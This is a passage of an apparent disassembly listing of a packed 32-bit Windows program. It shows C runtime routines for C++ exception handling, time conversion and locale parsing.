arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 0042D44B SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D338
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx-4]
		mov	[ebp+var_28], edx
		call	sub_428EE0
		mov	eax, [eax+6Ch]
		mov	[ebp+var_1C], eax
		call	sub_428EE0
		mov	ecx, [eax+70h]
		mov	[ebp+var_20], ecx
		call	sub_428EE0
		mov	edx, [ebp+arg_0]
		mov	[eax+6Ch], edx
		call	sub_428EE0
		mov	ecx, [ebp+arg_8]
		mov	[eax+70h], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_4], 1
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_420490
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], 0
		jmp	short loc_42D3DF
; ---------------------------------------------------------------------------

loc_42D3AE:				; DATA XREF: .packed:0043D348o
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42D460
		add	esp, 4
		retn
; ---------------------------------------------------------------------------

loc_42D3BB:				; DATA XREF: .packed:0043D34Co
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		push	0FFFFFFFFh
		mov	[ebp+var_30], 0
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_420772
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_42D44E
; ---------------------------------------------------------------------------

loc_42D3DF:				; CODE XREF: sub_42D310+9Cj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42D3ED
		jmp	short loc_42D44B
sub_42D310	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D3ED	proc near		; CODE XREF: sub_42D310+D6p
					; DATA XREF: .packed:0043D340o
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp-28h]
		mov	[eax-4], ecx
		call	sub_428EE0
		mov	edx, [ebp-1Ch]
		mov	[eax+6Ch], edx
		call	sub_428EE0
		mov	ecx, [ebp-20h]
		mov	[eax+70h], ecx
		mov	edx, [ebp+8]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short locret_42D44A
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+10h], 3
		jnz	short locret_42D44A
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short locret_42D44A
		cmp	dword ptr [ebp-24h], 0
		jnz	short locret_42D44A
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_42D44A
		call	sub_4207DA
		push	eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_42D730
		add	esp, 8

locret_42D44A:				; CODE XREF: sub_42D3ED+28j
					; sub_42D3ED+31j ...
		retn
sub_42D3ED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D310

loc_42D44B:				; CODE XREF: sub_42D310+DBj
		mov	eax, [ebp+var_2C]

loc_42D44E:				; CODE XREF: sub_42D310+CDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42D310
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D460	proc near		; CODE XREF: sub_42D310+A2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_42D49C
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42D49C
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_42D49C
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_42D49C
		mov	eax, 1
		jmp	short loc_42D49E
; ---------------------------------------------------------------------------

loc_42D49C:				; CODE XREF: sub_42D460+15j
					; sub_42D460+1Ej ...
		xor	eax, eax

loc_42D49E:				; CODE XREF: sub_42D460+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42D460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D4B0	proc near		; CODE XREF: sub_42D250+22p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D350
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_42D4F6
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jz	short loc_42D4F6
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42D4FB

loc_42D4F6:				; CODE XREF: sub_42D4B0+2Dj
					; sub_42D4B0+3Bj
		jmp	loc_42D71A
; ---------------------------------------------------------------------------

loc_42D4FB:				; CODE XREF: sub_42D4B0+44j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+arg_4]
		lea	edx, [ecx+eax+0Ch]
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42D576
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_432F80
		add	esp, 8
		test	eax, eax
		jz	short loc_42D56C
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_432FB0
		add	esp, 8
		test	eax, eax
		jz	short loc_42D56C
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		mov	[edx], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		push	ecx
		call	sub_42D7C0
		add	esp, 8
		mov	edx, [ebp+var_1C]
		mov	[edx], eax
		jmp	short loc_42D571
; ---------------------------------------------------------------------------

loc_42D56C:				; CODE XREF: sub_42D4B0+81j
					; sub_42D4B0+93j
		call	sub_42D910

loc_42D571:				; CODE XREF: sub_42D4B0+BAj
		jmp	loc_42D703
; ---------------------------------------------------------------------------

loc_42D576:				; CODE XREF: sub_42D4B0+6Cj
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42D5FA
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_432F80
		add	esp, 8
		test	eax, eax
		jz	short loc_42D5F0
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_432FB0
		add	esp, 8
		test	eax, eax
		jz	short loc_42D5F0
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_420840
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+14h], 4
		jnz	short loc_42D5EE
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx], 0
		jz	short loc_42D5EE
		mov	eax, [ebp+arg_C]
		add	eax, 8
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		push	edx
		call	sub_42D7C0
		add	esp, 8
		mov	ecx, [ebp+var_1C]
		mov	[ecx], eax

loc_42D5EE:				; CODE XREF: sub_42D4B0+11Aj
					; sub_42D4B0+122j
		jmp	short loc_42D5F5
; ---------------------------------------------------------------------------

loc_42D5F0:				; CODE XREF: sub_42D4B0+E5j
					; sub_42D4B0+F7j
		call	sub_42D910

loc_42D5F5:				; CODE XREF: sub_42D4B0:loc_42D5EEj
		jmp	loc_42D703
; ---------------------------------------------------------------------------

loc_42D5FA:				; CODE XREF: sub_42D4B0+D0j
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_42D660
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_432F80
		add	esp, 8
		test	eax, eax
		jz	short loc_42D656
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_432FB0
		add	esp, 8
		test	eax, eax
		jz	short loc_42D656
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42D7C0
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_420840
		add	esp, 0Ch
		jmp	short loc_42D65B
; ---------------------------------------------------------------------------

loc_42D656:				; CODE XREF: sub_42D4B0+166j
					; sub_42D4B0+178j
		call	sub_42D910

loc_42D65B:				; CODE XREF: sub_42D4B0+1A4j
		jmp	loc_42D703
; ---------------------------------------------------------------------------

loc_42D660:				; CODE XREF: sub_42D4B0+151j
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_432F80
		add	esp, 8
		test	eax, eax
		jz	loc_42D6FE
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_432FB0
		add	esp, 8
		test	eax, eax
		jz	short loc_42D6FE
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_432FE0
		add	esp, 4
		test	eax, eax
		jz	short loc_42D6FE
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_42D6D5
		push	1
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42D7C0
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_4203B0
		jmp	short loc_42D6FC
; ---------------------------------------------------------------------------

loc_42D6D5:				; CODE XREF: sub_42D4B0+1F8j
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42D7C0
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_4203A0

loc_42D6FC:				; CODE XREF: sub_42D4B0+223j
		jmp	short loc_42D703
; ---------------------------------------------------------------------------

loc_42D6FE:				; CODE XREF: sub_42D4B0+1C3j
					; sub_42D4B0+1D9j ...
		call	sub_42D910

loc_42D703:				; CODE XREF: sub_42D4B0:loc_42D571j
					; sub_42D4B0:loc_42D5F5j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42D71A
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_42D860

loc_42D71A:				; CODE XREF: sub_42D4B0:loc_42D4F6j
					; sub_42D4B0+25Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42D4B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D730	proc near		; CODE XREF: sub_42CCA0+252p
					; sub_42D3ED+55p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D360
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	[ebp+arg_0], 0
		jz	short loc_42D7A5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_42D7A5
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_420390
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42D7A5
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_42D860

loc_42D7A5:				; CODE XREF: sub_42D730+2Aj
					; sub_42D730+36j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42D730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D7C0	proc near		; CODE XREF: sub_42D4B0+ADp
					; sub_42D4B0+131p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jl	short loc_42D7FF
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		mov	ecx, [ebp+var_4]
		add	ecx, [eax+edx]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, [edx+4]
		mov	[ebp+var_4], eax

loc_42D7FF:				; CODE XREF: sub_42D7C0+16j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42D7C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D810	proc near		; CODE XREF: sub_420490+4Dp
					; sub_42D120+8Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_4207FD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42D84F
		mov	ecx, 2

loc_42D84F:				; CODE XREF: sub_42D810+38j
		push	ecx
		call	sub_4207FD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_42D810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D860	proc near		; CODE XREF: sub_42CCA0:loc_42CF33p
					; sub_42D220:loc_42D241p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042D8D4 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D370
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		call	sub_428EE0
		cmp	dword ptr [eax+60h], 0
		jz	short loc_42D8C0
		mov	[ebp+var_4], 1
		call	sub_428EE0
		call	dword ptr [eax+60h]
		mov	[ebp+var_4], 0
		jmp	short loc_42D8C0
; ---------------------------------------------------------------------------

loc_42D8B0:				; DATA XREF: .packed:0043D380o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_42D8B6:				; DATA XREF: .packed:0043D384o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0

loc_42D8C0:				; CODE XREF: sub_42D860+36j
					; sub_42D860+4Ej
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42D8CE
		jmp	short loc_42D8D4
sub_42D860	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D8CE	proc near		; CODE XREF: sub_42D860+67p
					; DATA XREF: .packed:0043D378o
		call	sub_433010
		retn
sub_42D8CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D860

loc_42D8D4:				; CODE XREF: sub_42D860+6Cj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42D860
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_428EE0
		cmp	dword ptr [eax+64h], 0
		jz	short loc_42D906
		call	sub_428EE0
		call	dword ptr [eax+64h]

loc_42D906:				; CODE XREF: .packed:0042D8FCj
		call	sub_42D860
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D910	proc near		; CODE XREF: sub_4206A0+23p
					; sub_4206A0:loc_42070Dp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042D980 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D388
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		cmp	off_454270, 0
		jz	short loc_42D96C
		mov	[ebp+var_4], 1
		call	off_454270
		mov	[ebp+var_4], 0
		jmp	short loc_42D96C
; ---------------------------------------------------------------------------

loc_42D95C:				; DATA XREF: .packed:0043D398o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_42D962:				; DATA XREF: .packed:0043D39Co
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0

loc_42D96C:				; CODE XREF: sub_42D910+34j
					; sub_42D910+4Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42D97A
		jmp	short loc_42D980
sub_42D910	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D97A	proc near		; CODE XREF: sub_42D910+63p
					; DATA XREF: .packed:0043D390o
		call	sub_42D860
		retn
sub_42D97A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D910

loc_42D980:				; CODE XREF: sub_42D910+68j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42D910
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D9A0	proc near		; CODE XREF: sub_420D80+161p

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		sub	eax, 76Ch
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 46h
		jl	short loc_42D9C0
		cmp	[ebp+arg_0], 8Ah
		jle	short loc_42D9C8

loc_42D9C0:				; CODE XREF: sub_42D9A0+15j
		or	eax, 0FFFFFFFFh
		jmp	loc_42DA8A
; ---------------------------------------------------------------------------

loc_42D9C8:				; CODE XREF: sub_42D9A0+1Ej
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		add	edx, dword_45462C[ecx*4]
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		and	eax, 3
		test	eax, eax
		jnz	short loc_42D9F1
		cmp	[ebp+arg_4], 2
		jle	short loc_42D9F1
		mov	ecx, [ebp+var_2C]
		add	ecx, 1
		mov	[ebp+var_2C], ecx

loc_42D9F1:				; CODE XREF: sub_42D9A0+40j
					; sub_42D9A0+46j
		mov	edx, [ebp+arg_0]
		sub	edx, 46h
		imul	edx, 16Dh
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		sar	eax, 2
		mov	ecx, [ebp+var_2C]
		add	ecx, edx
		lea	edx, [eax+ecx-11h]
		imul	edx, 18h
		add	edx, [ebp+arg_C]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		imul	eax, 3Ch
		add	eax, [ebp+arg_10]
		imul	eax, 3Ch
		add	eax, [ebp+arg_14]
		mov	[ebp+var_4], eax
		call	sub_433030
		mov	ecx, [ebp+var_4]
		add	ecx, dword_454548
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_2C]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+arg_18], 1
		jz	short loc_42DA7B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_42DA87
		cmp	dword_45454C, 0
		jz	short loc_42DA87
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_433440
		add	esp, 4
		test	eax, eax
		jz	short loc_42DA87

loc_42DA7B:				; CODE XREF: sub_42D9A0+BAj
		mov	ecx, [ebp+var_4]
		add	ecx, dword_454550
		mov	[ebp+var_4], ecx

loc_42DA87:				; CODE XREF: sub_42D9A0+C0j
					; sub_42D9A0+C9j ...
		mov	eax, [ebp+var_4]

loc_42DA8A:				; CODE XREF: sub_42D9A0+23j
		mov	esp, ebp
		pop	ebp
		retn
sub_42D9A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0B0h
		cmp	dword ptr [ebp+8], 0
		jl	short loc_42DAA5
		cmp	dword ptr [ebp+8], 5
		jle	short loc_42DAAC

loc_42DAA5:				; CODE XREF: .packed:0042DA9Dj
		xor	eax, eax
		jmp	loc_42DE7B
; ---------------------------------------------------------------------------

loc_42DAAC:				; CODE XREF: .packed:0042DAA3j
		push	13h
		call	sub_423280
		add	esp, 4
		mov	dword ptr [ebp-4], 1
		mov	eax, dword_4F3884
		add	eax, 1
		mov	dword_4F3884, eax

loc_42DACA:				; CODE XREF: .packed:0042DADBj
		cmp	dword_4F3888, 0
		jz	short loc_42DADD
		push	1
		call	dword_4F534C	; Sleep
		jmp	short loc_42DACA
; ---------------------------------------------------------------------------

loc_42DADD:				; CODE XREF: .packed:0042DAD1j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_42DB21
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_42DB01
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_42DE80
		add	esp, 8
		mov	[ebp-0A8h], eax
		jmp	short loc_42DB13
; ---------------------------------------------------------------------------

loc_42DB01:				; CODE XREF: .packed:0042DAE7j
		mov	eax, [ebp+8]
		imul	eax, 0Ch
		mov	ecx, dword_454384[eax]
		mov	[ebp-0A8h], ecx

loc_42DB13:				; CODE XREF: .packed:0042DAFFj
		mov	edx, [ebp-0A8h]
		mov	[ebp-8], edx
		jmp	loc_42DE5B
; ---------------------------------------------------------------------------

loc_42DB21:				; CODE XREF: .packed:0042DAE1j
		mov	dword ptr [ebp-14h], 1
		mov	dword ptr [ebp-0Ch], 0
		cmp	dword ptr [ebp+0Ch], 0
		jz	loc_42DE53
		mov	eax, [ebp+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 4Ch
		jnz	loc_42DD64
		mov	edx, [ebp+0Ch]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 43h
		jnz	loc_42DD64
		mov	ecx, [ebp+0Ch]
		movsx	edx, byte ptr [ecx+2]
		cmp	edx, 5Fh
		jnz	loc_42DD64
		mov	eax, [ebp+0Ch]
		mov	[ebp-9Ch], eax

loc_42DB71:				; CODE XREF: .packed:0042DD33j
		push	offset asc_43D3E4 ; "=;"
		mov	ecx, [ebp-9Ch]
		push	ecx
		call	sub_434E70
		add	esp, 8
		mov	[ebp-0A0h], eax
		cmp	dword ptr [ebp-0A0h], 0
		jz	short loc_42DBBD
		mov	edx, [ebp-0A0h]
		sub	edx, [ebp-9Ch]
		mov	[ebp-0A4h], edx
		cmp	dword ptr [ebp-0A4h], 0
		jz	short loc_42DBBD
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jnz	short loc_42DBE3

loc_42DBBD:				; CODE XREF: .packed:0042DB92j
					; .packed:0042DBADj
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42DBDC
		push	13h
		call	sub_423320
		add	esp, 4
		mov	edx, dword_4F3884
		sub	edx, 1
		mov	dword_4F3884, edx

loc_42DBDC:				; CODE XREF: .packed:0042DBC1j
		xor	eax, eax
		jmp	loc_42DE7B
; ---------------------------------------------------------------------------

loc_42DBE3:				; CODE XREF: .packed:0042DBBBj
		mov	dword ptr [ebp-10h], 1
		jmp	short loc_42DBF5
; ---------------------------------------------------------------------------

loc_42DBEC:				; CODE XREF: .packed:loc_42DC41j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax

loc_42DBF5:				; CODE XREF: .packed:0042DBEAj
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_42DC43
		mov	ecx, [ebp-0A4h]
		push	ecx
		mov	edx, [ebp-9Ch]
		push	edx
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, off_454380[eax]
		push	ecx
		call	sub_41F5E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DC41
		mov	edx, [ebp-10h]
		imul	edx, 0Ch
		mov	eax, off_454380[edx]
		push	eax
		call	sub_41BC70
		add	esp, 4
		cmp	[ebp-0A4h], eax
		jnz	short loc_42DC41
		jmp	short loc_42DC43
; ---------------------------------------------------------------------------

loc_42DC41:				; CODE XREF: .packed:0042DC20j
					; .packed:0042DC3Dj
		jmp	short loc_42DBEC
; ---------------------------------------------------------------------------

loc_42DC43:				; CODE XREF: .packed:0042DBF9j
					; .packed:0042DC3Fj
		push	offset asc_43D3E0 ; ";"
		mov	ecx, [ebp-0A0h]
		add	ecx, 1
		mov	[ebp-0A0h], ecx
		mov	edx, [ebp-0A0h]
		push	edx
		call	sub_434E30
		add	esp, 8
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jnz	short loc_42DCA9
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jz	short loc_42DCA9
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42DCA2
		push	13h
		call	sub_423320
		add	esp, 4
		mov	edx, dword_4F3884
		sub	edx, 1
		mov	dword_4F3884, edx

loc_42DCA2:				; CODE XREF: .packed:0042DC87j
		xor	eax, eax
		jmp	loc_42DE7B
; ---------------------------------------------------------------------------

loc_42DCA9:				; CODE XREF: .packed:0042DC73j
					; .packed:0042DC81j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_42DCFA
		mov	eax, [ebp-0A4h]
		push	eax
		mov	ecx, [ebp-0A0h]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_41E510
		add	esp, 0Ch
		mov	eax, [ebp-0A4h]
		mov	byte ptr [ebp+eax-98h],	0
		lea	ecx, [ebp-98h]
		push	ecx
		mov	edx, [ebp-10h]
		push	edx
		call	sub_42DE80
		add	esp, 8
		test	eax, eax
		jz	short loc_42DCFA
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax

loc_42DCFA:				; CODE XREF: .packed:0042DCADj
					; .packed:0042DCEFj
